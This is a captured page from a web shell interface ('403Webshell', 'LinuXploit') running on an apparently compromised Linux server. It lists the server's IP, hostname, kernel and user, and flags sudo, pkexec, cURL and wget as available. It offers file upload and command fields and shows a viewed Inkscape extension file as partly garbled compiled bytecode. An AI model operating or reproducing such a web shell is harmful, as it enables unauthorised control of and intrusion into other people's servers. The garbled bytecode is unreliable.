403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/inkscape/extensions/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/inkscape/extensions/__pycache__/dhw_input.cpython-310.pyc
o

5�ak�@sjdZddlZddlZddlmZmZmZmZdejd<Gdd�dej�Z	dd	�Z
ed
kr3e	���dSdS)zD
Import a DHW file from ACECAD DigiMemo, a hardware based digitiser
�N)�AbortExtension�errormsg�Group�Polylinez"http://github.com/nikitakit/DM2SVG�dmc@seZdZdZdZdd�ZdS)�DhwInputz,Open DHW files and convert to svg on the flya�<svg viewBox="0 0 {w} {h}"
  fill="none" stroke="black" stroke-width="10" stroke-linecap="round" stroke-linejoin="round"
  xmlns="http://www.w3.org/2000/svg"
  xmlns:svg="http://www.w3.org/2000/svg"
  xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
  xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
  xmlns:dm="http://github.com/nikitakit/DM2SVG">
    <metadata>
      <dm:page
        version="{v}"
        width="{w}"
        height="{h}"
        page_type="{p}">
      </dm:page>
    </metadata>
    <rect width="{w}" height="{h}" fill="aliceblue"/>
    <g inkscape:groupmode="layer" id="layer1"></g>
</svg>csLtt�d��d���}|�d���}|dkrtd��t|d��|jdit	t
d|����}|��}d}|�d�}	��d
�}|dkrE	|St
|�dkrStd
�|��q8|dkrod}d�t
��d
��d
�}|�td|d��}n6|dkr|t
��d
��d7}n&dd�t��fdd�d�D�}	|	�t����|�t��}
|	|
_|
�d|�q9)z-Load the steam as if it were an open DHW filez
<32sBHHBxx�(r� ACECAD_DIGIMEMO_HANDWRITING_____z+Could not load file, not a ACECAD DHW file!�)�v�w�h�p�layer1T���zUnsupported tag: {}
��z	layer{:d}�layer)�inkscape_groupmode�id���cSsg|]}|�qS�r)�.0rrr�+/usr/share/inkscape/extensions/dhw_input.py�
<listcomp>Xsz!DhwInput.load.<locals>.<listcomp>cs
t���S)N)�
read_pointr��height�streamrr�<lambda>Xs
zDhwInput.load.<locals>.<lambda>Nzdm:timestampr)�list�struct�unpack�read�pop�decoder�int�get_template�dict�zip�getroot�getElementById�ordr�format�addr�iter�appendrr�path�set)�selfr �header�doc�svg�	timestampr�tag�name�coords�polyrrr�load7s:

��z
DhwInput.loadN)�__name__�
__module__�__qualname__�__doc__�templater>rrrrr"srcCs^t�d|�d��d}|dkrdSt�d|�d��\}}}||d>B}||d>B}|||fS)	zoIf the next byte is a stop byte, return None. Otherwise read 4 bytes
    (in total) and return a 2D point.
    �BrrrN�BBB��)r#r$r%)r �ymax�x1�x2�y1�y2�x�yrrrrcsr�__main__)
rBr#�inkexrrrr�NSS�InputExtensionrrr?�runrrrr�<module>s
A�

Youez - 2016 - github.com/yon3zu
LinuXploit